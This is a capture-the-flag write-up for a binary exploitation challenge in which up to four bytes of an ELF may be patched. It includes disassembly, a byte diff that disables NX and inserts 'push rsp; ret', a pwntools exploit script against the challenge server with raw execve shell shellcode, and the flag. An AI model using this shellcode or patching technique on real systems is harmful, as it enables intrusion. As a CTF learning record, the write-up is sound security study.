Patch an ELF binary to do shellcode injection.
Information
- category : pwn
- points : 142
Description
We just rescued an elf that was captured by The Grinch for his cruel genetic experiments. But we were late, the poor elf was already mutated. Could you help us restore the elf’s genes?
nc 3.93.128.89 1206
Writeup
$ We just rescued an elf that was captured by The Grinch
for his cruel genetic experiments.
But we were late, the poor elf was already mutated.
Could you help us restore the elf's genes?
Here is the elf's current DNA, zlib compressed and
then hex encoded:
==================================================
78daed597d6c14c7159fddf3d977c63e1fc4800da42c14abd0e0c52660cc57f19dbfd6d1d9b86027218959af7d6bdf29f761eded051b55099501f5044e911a55fc93c851850a6ad5baff51a40a535728fdf803da546dd3b4a255a01088ea8886d234f83ab33bb3de99dbc5a46aff63a4dbb7f39bf7debc997933f7e6ed6bad91369ee300291ef015806a75c566bd09e353d5160bc41a811f3e9f04ab00622bb2f1b1f43e47539fd58f29d7c89b7596ae0234e56cd40bdccb68294d01102c3964eb64b9894e960b141dc1fd8ef2b41c8fe5a6b0dc14e62774161b36cb8caf08ff7ab03e96b6009a1661da7d5d8fa277c18fad60e82e405322f75528570c1ebd0431dd87fb739b977e6c2fa1641d3625e2030d5b3625a2b589782a3b5a3bdad850dbb045cca4c5cd864d41ccdbded56bad376fb3b91263a8fdbd6fdf78a5f3dc991767e4d8f2938dab7fd97d23ddcd61790e7cbed26fad1c5d9e84bf250ef85a17bcc105ff9a8bfe452efc552ef809173d5fc236151438df83687a1b802c8f68f1943e240fc65e06ea685c0723593d03345589c2b6c151451e8aa79444fcb00aab484ccee88aa6cb49259e02ed918e70b3bc597c5adc62bd6f16b702b9a3a7538eaa9a3a1ccfe8aad6d3d99c48a7d41e652081b40c27d329ac4536591d19f18ee18d95f6184fdedab7bcb196c4eff4eab81ff14818cbae40751ef400da0fc97eaa2b31e959069fc54eef0bd238a9ffbec2a4c58c2f5db3e14536fca60db79f33b336dc67c3efdb70bf0d3f8ff112db1ca0326dc33d36fc1d1b6edfc7576c78890d97c6eff8a413de9a520148c7a6753e7f451aff996f06e4b7feda2f807ccdbbf059b1ba09bea17a0c89dcba9687a5e617a88ea6e2d615a3fe53544726de9a36ea17501d99766bcaa823f9a153a4dffa8f3a72570f4ab9bf4ae31fcc76f74426bca550569a28ff1687c8ee1b9027bff43894f947c5ea16033a072bbdd284f76d48a5edf7a5dc75bd1a9afe82df34bdbc2f7f6d48ac587dd4d0df3783ac9eaf43f938629cd83a60a8d93007e5a54b731e29372b5dbab947e22e4b57e7f42aa8700d56588614bae93bb2bb1ab281ec26697cf73f7df0ad17d953269dd8fd29acdd2c8723be29c1c765efc7b0ce21f12348eeeecc90311ec4de776b0872847a433dbdfba5afdf390d9ba3d289a29af5c8dedcd175df40f3342de5fef663e4d977a5efc1417c867c2b3d97cf43f9c844f23529773b947b3fb4e1ce05ce90faf345c3fbfa20c7919da5fa22697c868b6cbf9d7defb6af73f083f0e5a275004dfac4d6df40b68b48e6bc21b00ba99cd87d1dbd07e1bba9a601be99f6869e0b3ddb91fb1d32363251f303afb114b588ee0fe51e74e4ee45365c377ce9d203cfcdef3e80ca8e7da40bf57f24f315c97d1ac9dd6bc9fd3d94af7c1f19256dff53f643e46b2ff6855e0af5850e86e49953f3f37b7706fba6e18de6be37d6514d24d2821e8327cc46e1504cd1857846184b673521a524d53da05d53553d9e1ace0835998d4242d585a42a642080980445c8a453c33be07ffa73aa70289e8961b453d5b431a1391683675152c9943ab76aa87594694d50ad50564945a18ca48cbc302674a9878403aaa2ad01dc4acfce5d2406f82c9f476b0be0344da1730bd2e7215d0167fb1db4b721bd8fce2ae81d4df8b0a924e7dfe17d801b0d722bcb4a7ca7b89260258e6d90cea76cfbda991f8075985f80fcdd8821106c0b543d53b1e890ef08d8b362e7979f5eb796c8a39842827cf6736a23fcbd047fcf409b2711100e0427f870a0eaa42714108e178502ebc7bded8169ce16979c446382fc2ae6ff26e27fddd31a10268ac281f527bd52a0ee78b114681c2fe90c346981c650a00eea090704c807f9c3019f71b6bf8b5c12eae1c1e3f2b83c2e9fa790b887c4391c731f2a23f1060e5670180f7af0e6af66e2a99580bea7ac00745cb58a69ff642e9f46f434debc24263a8b831712ab9cc7ede4da75c6161793381895a5ccf8480c3459317fdf2271bcfd3c24b1cf724c9ff7d2f8e922daee694cfd4cff5f60c6f7efbc393e0e4373b81ec3faf2f3ede63ae07a176eff17ae7bfe4feb4fee996cb981c77f0fd362bc10cb8affbb7e48bcdcdedcbc4358df3b904de959619bb845acabadcf1ab5fa57eb1bc5ba2d62fd06135f58a707ce5a23ef84f3d63d98c63d4077c48b2cffa371afe577345e6cf9278d9758eb46e33e6bbd69dc6ff9158d975afe47e38bac7d48e365e08a235e0e8462273c60e55f68bcc2dad7341e04fd8ef8622b6f40e34b40bf23fe84754ed078a5753ed0f85247fff48065d67ea671b87b834e7815083ae2d5051867dcd73eceb37899717604403f336f018c4f32f81a8ccf32f836a38f797bc8be6f33de0be72189f5d495d07ac60cfec2f93ced62bfdbb8de32da9600bdb470bd9cf8bf6f3c9f28b0f327869ec2f5ba8cf9593bff603c0bfde78ea1a7707d790ee53902a0db07a8737c09e79ce7386ce085fe2072cef912144f07213feb2765067fe1be6877d173c0051fc5fa597b8eb9d8ff06c417f3cbad739394b7116edb8fe4f898c2f3730dfb894afe378dfc4715a862f4bc8af9c93940ee08d39cc9cfcec3af30ff0eac7f12e3575dc67bdb057f80c7c5eaf7f3cef3f045de395f75c1d0ef701e0e6a7a46cf0e0d8983603edd24eb497910e591324096a3697938911e501272544f6b1959c98e82c17472045e0ad5a8b8ad61fb36672694f68acb8aa62963b29ad2b53130a4c1bba51ccd26936350c4569321a74eb1aa0964912cb7ed0b75b6caad5d2d28d145b34581dc72a02bd4d9d14cb718793108b577f5caad12d620b5ec03727b646f381491f7b6b5ed6fed917b42e148ab4c72728399ac61f043336f28b1d7d444e5e9d4a8a22b46b28f6960537d6c3392b36ca5137a7234939663f0028c927d1d7b6143349e92b319356ab7160d19d6073219acc64828dab391f35da2f4224a4db246c0d191c975cd22d2394c5a03103363495d198054d74c1a236fd00a551b01622aadab6228dc51ab2bc3b8369cca8a03d978225a1b8f02a3165332312046c752509f4975cd6c7945d532f1748aaac8b04d53130a62c46f23091d7509a704bd8ac369f8a2aba3f069acaaa8a58d8512d51876bc58549baf99a2a6039912e41df6a024e383f0c51087b30d44e8fd49e8a6ff8b787225feaf21e7b3db7717c0dc33acfdcee434d9ef1a42c17f145dea197912ef11ba6e01799497b807636e224fe2c2d38cfd5e26ce27a50bdf4978e6de42e82c0054bed8c7dc1f9e65be65903893d0330bccdf417ca720f2241e25b492b19f67e8cbf88e42ea246e25b4cec57eeb7f17cf29cfdc9b089d76993f32fea3583eccdcc308edb7c92f73907fddf62dce7e6f2574f902eb9f63e4495c4d68b7cb772e42df60e449fc4d283b5f3e86bec9c893ff6742d7f2cefd93f21d469ec42d84fa1718ff3966ff923883d06917fb49f91123eff67dd1adff8b6cff7e9a56710fefffe73826f700f67be3a3cdff6fe1afc2264fe2dcb38f28ff173cf71ec07ecfa5bfe3163372415bfcce39e42d262b68ff77ebff4346de8a3783cefec28e671663449ec469c1a0333f7bfe7c8231f6fa4ee49f7291b753a73c6e5390de072bb12e76fffb5d722523cb4cba877fb8fd8b5de47f883b985b60fcff011d63bdbd
==================================================
You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 2 # my input
Which byte to mutate? 1 # my input
What to set the byte to? 1 # my input
Which byte to mutate? 1 # my input
What to set the byte to? 1 # my input
Alright - let's see what the elf has to say.
==================================================
sh: 1: /var/tmp/tmpc2iZZRmutated_elf: Exec format error
The first thing to do is to decompress the binary.
Using python3:
import zlib
s = open('./elf.hex', 'r').read().replace('\n', '')
with open('./elf.exe', 'wb') as f:
f.write(zlib.decompress(bytes.fromhex(s)))
Launch the program:
$ ./elf.exe
Hello there, what is your name?
meowmeowxw # my input
Greetings meowmeowxw, let me sing you a song:
We wish you a Merry Chhistmas
We wish you a Merry Christmxs
We wish you alMerry Christmas
and a HapZy New Year!
Binary protections:
$ checksec --file=./elf.exe
RELRO: Full
STACK CANARY: No
NX: Enabled
PIE: Enabled
RPATH: No
RUNPATH: No
Symbols: 66
Fortify: Yes
I analyzed the binary with r2 and this is the disassembly of the main:
┌ 160: int main (int64_t arg_7fh, char **argv, char **envp);
│ ; arg int64_t arg_7fh @ rbp+0x7f
│ ; var int64_t var_30h @ rsp+0x88
│ 0x0000073a 4155 push r13
│ 0x0000073c 4154 push r12
│ 0x0000073e 55 push rbp
│ 0x0000073f 53 push rbx
│ 0x00000740 4881ec980000. sub rsp, 0x98
│ 0x00000747 64488b042528. mov rax, qword fs:[0x28]
│ 0x00000750 488984248800. mov qword [var_30h], rax
│ 0x00000758 31c0 xor eax, eax
│ 0x0000075a 4889e7 mov rdi, rsp
│ 0x0000075d b910000000 mov ecx, 0x10
│ 0x00000762 f348ab rep stosq qword [rdi], rax
│ 0x00000765 488d3dfc0000. lea rdi, str.Hello_there__what_is_you
│ 0x0000076c e86ffeffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000771 4889e5 mov rbp, rsp
│ 0x00000774 4c8d6d7f lea r13, [arg_7fh]
│ 0x00000778 4889eb mov rbx, rbp
│ ; CODE XREF from main @ 0x79f
│ ┌─> 0x0000077b 4189dc mov r12d, ebx
│ ╎ 0x0000077e 4129ec sub r12d, ebp
│ ╎ 0x00000781 ba01000000 mov edx, 1 ; size_t nbyte
│ ╎ 0x00000786 4889de mov rsi, rbx ; void *buf
│ ╎ 0x00000789 bf00000000 mov edi, 0 ; int fildes
│ ╎ 0x0000078e e85dfeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ ╎ 0x00000793 803b0a cmp byte [rbx], 0xa
│ ┌──< 0x00000796 740b je 0x7a3
│ │╎ 0x00000798 4883c301 add rbx, 1
│ │╎ 0x0000079c 4c39eb cmp rbx, r13
│ │└─< 0x0000079f 75da jne 0x77b
│ │┌─< 0x000007a1 eb08 jmp 0x7ab
│ ││ ; CODE XREF from main @ 0x796
│ └──> 0x000007a3 4d63e4 movsxd r12, r12d
│ │ 0x000007a6 42c6042400 mov byte [rsp + r12], 0
│ │ ; CODE XREF from main @ 0x7a1
│ └─> 0x000007ab 4889e2 mov rdx, rsp
│ 0x000007ae 488d35d30000. lea rsi, str.Greetings__s__let_me_sing
│ 0x000007b5 bf01000000 mov edi, 1
│ 0x000007ba b800000000 mov eax, 0
│ 0x000007bf e83cfeffff call sym.imp.__printf_chk
│ 0x000007c4 488d3de50000. lea rdi, str.We_wish_you_a_Merry_Chhist
│ 0x000007cb e810feffff call sym.imp.puts ; int puts(const char *s)
│ 0x000007d0 bf00000000 mov edi, 0 ; int status
└ 0x000007d5 e836feffff call sym.imp.exit ; void exit(int status)
Decompiled with r2ghidra-dec:
void main(void)
{
int64_t iVar1;
undefined8 extraout_RDX;
undefined8 *puVar2;
undefined8 uVar3;
uint32_t uVar4;
undefined8 *puVar5;
int64_t in_FS_OFFSET;
undefined8 auStack184 [15];
char acStack57 [9];
undefined8 uStack48;
puVar2 = auStack184;
uStack48 = *(undefined8 *)(in_FS_OFFSET + 0x28);
iVar1 = 0x10;
puVar5 = auStack184;
while (iVar1 != 0) {
iVar1 = iVar1 + -1;
*puVar5 = 0;
puVar5 = puVar5 + 1;
}
sym.imp.puts(0x868);
do {
sym.imp.read(0, puVar2, 1);
if (*(char *)puVar2 == '\n') {
*(undefined *)((int64_t)auStack184 + (int64_t)((int32_t)puVar2 - ((int32_t)*(BADSPACEBASE **)0x20 + -0xb8)))
= 0;
break;
}
puVar2 = (undefined8 *)((int64_t)puVar2 + 1);
} while (puVar2 != (undefined8 *)acStack57);
uVar3 = 0x888;
sym.imp.__printf_chk(1, 0x888, auStack184);
sym.imp.puts(0x8b0);
uVar4 = 0;
sym.imp.exit(0);
sym._init();
iVar1 = 0;
do {
(**(code **)(section..init_array + iVar1 * 8))((uint64_t)uVar4, uVar3, extraout_RDX);
iVar1 = iVar1 + 1;
} while (iVar1 != 1);
return;
}
As we can see the decompiled is a bit esoteric, however it’s pretty simple.
The program fill a buffer using the read
syscall until a \n
is read, or the
input’s length is less or equal the size of the buffer.
There are different strategy to approach this problem, but one thing is certain,
the exit(0)
is a problem, both if we do ROP or shellcode injection.
We have 4 bytes to patch, so we can use 1 byte to replace the exit with a ret
.
What about the other three bytes?
If we want to do a shellcode injection we can easily remove the NX bit using:
$ execstack -s elf-patched.exe
Now we need to know the position of the buffer since there’s ASLR.
We can check from the disassembler that the input buffer is pointed
by rsp
:
0x000007ab 4889e2 mov rdx, rsp
0x000007ae 488d35d30000. lea rsi, str.Greetings__s__let_me_sing
0x000007b5 bf01000000 mov edi, 1
0x000007ba b800000000 mov eax, 0
0x000007bf e83cfeffff call sym.imp.__printf_chk
Here the program executes __printf_chk(1, "greetings %d let me..", buffer)
,
and rdx
(third argument) points to rsp
.
Now that NX is disabled and we have a ret
instruction we just need to
push rsp
before the ret
to executes our shellcode.
Problem
You can’t replace the exit
directly with push rsp; ret
since it doesn’t have
\x00
opcodes, but right above the exit there is a valid place to write the
instructions we need.
# here
0x000007d0 bf00000000 mov edi, 0 ; int status
0x000007d5 e836feffff call sym.imp.exit ; void exit(int status)
To patch the binary I used cutter. Here is the result:
0x000007d0 54 push rsp
0x000007d1 c3 ret
0x000007d2 0000 add byte [rax], al
0x000007d4 00e8 add al, ch
0x000007d6 36 invalid
0x000007d7 fe invalid
0x000007d8 ff invalid
0x000007d9 ff660f jmp qword [rsi + 0xf]
As expected the next instructions are different, this is because in x86(-64) the opcodes have variable lengths.
The latest thing we have to know is the offset/value of the NX bit. I found it
using a diff between the original elf.exe
and the patched one.
$ xxd elf.exe > elf.hex
$ xxd elf-patched.exe > elf-patched.hex
$ diff elf.hex elf-patched.hex
29c29
< 000001c0: 0400 0000 0000 0000 51e5 7464 0600 0000 ........Q.td....
--- # here NX
> 000001c0: 0400 0000 0000 0000 51e5 7464 0700 0000 ........Q.td....
126c126
< 000007d0: bf00 0000 00e8 36fe ffff 660f 1f44 0000 ......6...f..D..
--- # push rsp; ret
> 000007d0: 54c3 0000 00e8 36fe ffff 660f 1f44 0000 T.....6...f..D..
We’re ready to write the exploit:
Exploit
#!/usr/bin/env python3
from pwn import remote, context, process, log
class Sender:
def __init__(self, local, debug = None):
if local == 'remote':
self.conn = remote('3.93.128.89', 1206)
else:
self.conn = process('./challenge.py')
if debug is not None:
context.log_level = 'debug'
def main():
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48'
shellcode += b'\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
# 1st edit disable NX
# 2nd edit push rsp
# 3th edit ret
edit = [0x1cc, 0x7, 0x7d0, 0x54, 0x7d1, 0xc3]
snd = Sender('remote')
log.info(snd.conn.recvuntil(b'(0 - 4)?'))
snd.conn.sendline(b'3')
for e in edit:
log.info(snd.conn.recvuntil(b'?'))
snd.conn.sendline(str(e))
snd.conn.sendline(shellcode)
snd.conn.interactive()
if __name__ == '__main__':
main()
Oh yeah.
Flag
AOTW{turn1NG_an_3lf_int0_a_M0nst3r?}
Fails
The first thing I thought was to do ROP, and to be able to do that I needed or a leak or that PIE was disabled.
As it turns out to disable PIE we need way more than 4 bytes, while to leak an address
I could patch the puts
function to print the address inside puts@got
.
Once we know the address inside the libc of puts, we could try to use onegadget
.
HOWEVER, the server was buffering the output (it didn’t flush), and to unbuffer
the output I needed to sent something first. Since my input was dependent from
the server output, this technique was unsuccessful. In a similar way to the one
described above, we could also leak a function in the .dynamic
section of the elf
as .fini
or .init
, in that case we would have an address of the binary and
it was like PIE was disabled.